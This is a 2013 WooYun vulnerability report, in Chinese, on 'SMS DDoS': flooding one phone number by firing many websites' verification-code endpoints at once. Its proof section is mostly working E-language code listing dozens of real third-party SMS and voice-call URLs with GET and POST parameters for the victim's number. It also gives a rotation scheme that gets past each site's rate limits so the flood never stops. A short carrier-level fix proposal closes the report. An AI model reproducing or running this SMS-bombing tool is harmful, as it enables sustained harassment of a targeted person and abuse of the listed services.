当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-028078

漏洞标题:重灾区之短信洪流无法控制(短信ddos实现方法)

相关厂商:广大厂商

漏洞作者: 李白

提交时间:2013-07-07 14:07

修复时间:2013-07-07 14:07

公开时间:2013-07-07 14:07

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-07-07: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-07-07: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

随着移动端与PC的渐渐融合,也为了保证用户的可靠性,流量的质量,越来越多的网站实行了一个策略,那就是将手机验证码发至用户的手机上。在Wooyun常常可以看到这些东西的绕过,以及这些东西的滥用——短信DOS,给用户造成极大的不便,厂商也对此积极修补(也许是因为中国移动是按条数收费吧)但这个是否是最可怕的呢,不,最可怕的不是DOS,是DDOS,这种东西,不是厂商所能控制的。

详细说明:

先上两张图

SCR_099.png


SCR_100.png


好了你们懂我意思了,没错,就是用各个网站的验证码,来同时发给一个手机,那样既是网站所认可的,网站所允许的,对于单个网站的发送也是有过之而无不及。

而更加揪心的是对此毫无反抗的方法,传统的垃圾短信等阻断器都是利用数据库或者是敏感字眼进行过滤,而为了保证用户的体验验证码类的是不会拦截的。http://zone.wooyun.org/content/4912这种情况我们可以手动添加10086作为拦截目标,但是如果是用上千个网站上千个号码进行攻击呢?手动添加肯定是来不及的。更况且不断的短信占用极大系统资源弹窗执行其他操作是很困难的。而关机或者飞行模式只能换取短暂的安宁,因为短信未能发送到手机会暂时停留,待手机能正常通信之后依旧发送到手机。而全部拦截的软件应该是没有,就算有也只有极个别应用商店才会有。
这种情况,也就是说,假如攻击者一直这样攻击,被攻击者是很难有招架之力的。上几个月“呼死你”有威胁他人的情况,我相信这个方法的危害堪比“呼死你”

漏洞证明:

下面讲讲如何制作
首先,我们找到一个有手机注册功能的网站。
这里我用NC抓包,然后发送短信验证码
发现moblie=XXXXXXXXXXX
这个XXXXX就是你在网站输入的手机号
然后这里我们就搜集了一条,继续去其他网站搜集,注意这里有些是post,有些是get
搜集完了之后,我这里用易语言,支持国产语言。。

.版本 2
.支持库 internet
HTTP读文件 (“http://” + 删首尾空 (编辑框1.内容) + “.12530.com/user/querypwd.do?phonenumber=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://” + 删首尾空 (编辑框1.内容) + “.12530.com/user/querypwd.do?phonenumber=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://” + 删首尾空 (编辑框1.内容) + “.12530.com/user/querypwd.do?phonenumber=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://china.alibaba.com/member/sendIdentityCodeByMobile.htm?callback=jQuery1640829300928232310891_1326548812739&mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://china.alibaba.com/member/sendIdentityCodeByMobile.htm?callback=jQuery1640829300932302133891_1326548812739&mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://china.alibaba.com/member/sendIdentityCodeByMobile.htm?callback=jQuery1640829300923212323891_1326548812739&mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://www.egu365.com/member/js/sendMobileCode.jsp?phone=” + 删首尾空 (编辑框1.内容) + “&r=1019.7334977874661”)
HTTP读文件 (“http://china.alibaba.com/member/sendIdentityCodeByMobile.htm?callback=jQuery1640829300942433110891_1326548812739&mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://www.dbank.com/app/wap/captcha.php?mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://china.alibaba.com/member/sendIdentityCodeByMobile.htm?callback=jQuery1640829300942424110891_1326548812739&mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://china.alibaba.com/member/sendIdentityCodeByMobile.htm?callback=jQuery1640829300923223110891_1326548812739&mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“register.sdo.com/gaea/SendPhoneMsg.ashx?page=REG&mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“register.sdo.com/gaea/SendPhoneMsg.ashx?page=REG&mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://my.b2b.hc360.com/my/turbine/action/company.RegisterAjaxAction/eventsubmit_dosendverifiycodesms/doSendverifiycodesms?receiver=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://china.alibaba.com/member/sendIdentityCodeByMobile.htm?callback=jQuery164082930042421210891_1326548812739&mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://china.alibaba.com/member/sendIdentityCodeByMobile.htm?callback=jQuery164082930424249110891_1326548812739&mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://www.egu365.com/member/js/sendMobileCode.jsp?phone=” + 删首尾空 (编辑框1.内容) + “&r=1019.7334977874661”)
HTTP读文件 (“http://china.alibaba.com/member/sendIdentityCodeByMobile.htm?callback=jQuery164082930042449110891_1326548812739&mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://my.b2b.hc360.com/my/turbine/action/company.RegisterAjaxAction/eventsubmit_dosendverifiycodesms/doSendverifiycodesms?receiver=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://china.alibaba.com/member/sendIdentityCodeByMobile.htm?callback=jQuery16408293023239110891_1326548812739&mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://passport.soufun.com/ajax/ajaxmobilecode_v3.aspx?mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://user.himovie.net/AjaxPro/Ajax.ashx?action=RegSendCode&phone=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://user.himovie.net/AjaxPro/Ajax.ashx?action=RegSendCode&phone=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://user.himovie.net/AjaxPro/Ajax.ashx?action=RegSendCode&phone=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://www.egu365.com/member/js/sendMobileCode.jsp?phone=” + 删首尾空 (编辑框1.内容) + “&r=1019.7334977874661”)
HTTP读文件 (“http://wap.mail.163.com/reg.s?regtype=mobile&method=registerMobile&mobile_num=” + 删首尾空 (编辑框1.内容) + “&password=asdasd&password2=asdasd&action=提交注册信息”)
HTTP读文件 (“http://www.egu365.com/member/js/sendMobileCode.jsp?phone=” + 删首尾空 (编辑框1.内容) + “&r=1019.7334977874661”)


这里的编辑框1.内容就是手机号了,这里放出部分地址供大家参考。
然后是post的

.版本 2
.局部变量 POST地址, 文本型
.局部变量 POST数据, 文本型
.局部变量 a, 文本型
.局部变量 b, 文本型
.局部变量 c, 文本型
.局部变量 d, 文本型
.局部变量 e, 文本型
.局部变量 f, 文本型
POST地址 = “http://www.istudy.com.cn/incpage/AxMember.html”
POST数据 = “Mode=4&Mobile=” + 删首尾空 (编辑框1.内容) + “&UserID=0&rnd=0.232398880064155” + 到文本 (取随机数 (11, 99))
a = “http://passport.kongzhong.com/safebyphone.do?sbp=tobindsafephone”
b = “idcard=3704811993070638” + 到文本 (取随机数 (11, 99)) + “&safephone=” + 删首尾空 (编辑框1.内容)
c = “http://mp3.easou.com/dg.e?l=2ld.1&esid=nq-aHZcGWms&wver=c”
d = “phone=” + 删首尾空 (编辑框1.内容) + “&name=&content=&song=%E8%A2%AB%E7%88%B1%E5%87%BA%E5%8D%96%E8%A2%AB%E6%83%85%E6%89%93%E8%B4%A5-%E6%9E%97%E5%86%B2&esid=nq-aHZcGWms&id=6985089&submit=%E9%80%9A%E8%BF%87%E7%9F%AD%E4%BF%A1%E5%85%8D%E8%B4%B9%E7%82%B9%E6%92%AD”
e = “phone=” + 删首尾空 (编辑框1.内容) + “&name=&content=&song=%E6%9D%A8%E4%B8%9E%E7%90%B3-%E9%9B%A8%E7%88%B1-%E5%8D%8E%E4%BA%BA%E7%BE%A4%E6%98%9F19&esid=nq-aHZcGWms&id=3867344&submit=%E9%80%9A%E8%BF%87%E7%9F%AD%E4%BF%A1%E5%85%8D%E8%B4%B9%E7%82%B9%E6%92%AD”
f = “phone=” + 删首尾空 (编辑框1.内容) + “&name=&content=&song=%E7%88%B1%E7%9A%84%E4%BE%9B%E5%85%BB-%E6%9D%A8%E5%B9%82&esid=nq-aHZcGWms&id=3889055&submit=%E9%80%9A%E8%BF%87%E7%9F%AD%E4%BF%A1%E5%85%8D%E8%B4%B9%E7%82%B9%E6%92%AD”
彗星HTTP读文件 (a, “POST”, , , b)
彗星HTTP读文件 (a, “POST”, , , b)
彗星HTTP读文件 (a, “POST”, , , b)
彗星HTTP读文件 (a, “POST”, , , b)


最大的伤害我觉得是这样的,由几家存在发送漏洞的网站(即可无限发送)不断的提交,然后其他的网站分为几组,每组发送完之后做延迟处理,然后其他网站一轮下来之后之前的组所给的限制时间已经到了,那就继续发送,这样永不停歇。
当然也有网站是通过电话播报验证码的,一个方法。。

.版本 2
.局部变量 a, 文本型
.局部变量 b, 文本型
a = “http://www.m3.cc/url.php?class=check”
b = “action=validphone&MemberMobile=” + 删首尾空 (编辑框3.内容)
彗星HTTP读文件 (a, “POST”, , , b)


修复方案:

这个修补办法的话,我觉得可以让CNVD联系中国移动、联通,做一个统一的短信接口,让同一个号码,在比如规定60秒之内,只能使用一次接口,多余的全部作废。
也许做起来需要大量的精力和财力
但是
真的
随着互联网的发展速度,这是不得不考虑的一个问题。
以后补会越加麻烦。
千里之堤毁于蚁穴,更何况,这不是个蚁穴。

版权声明:转载请注明来源 李白@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)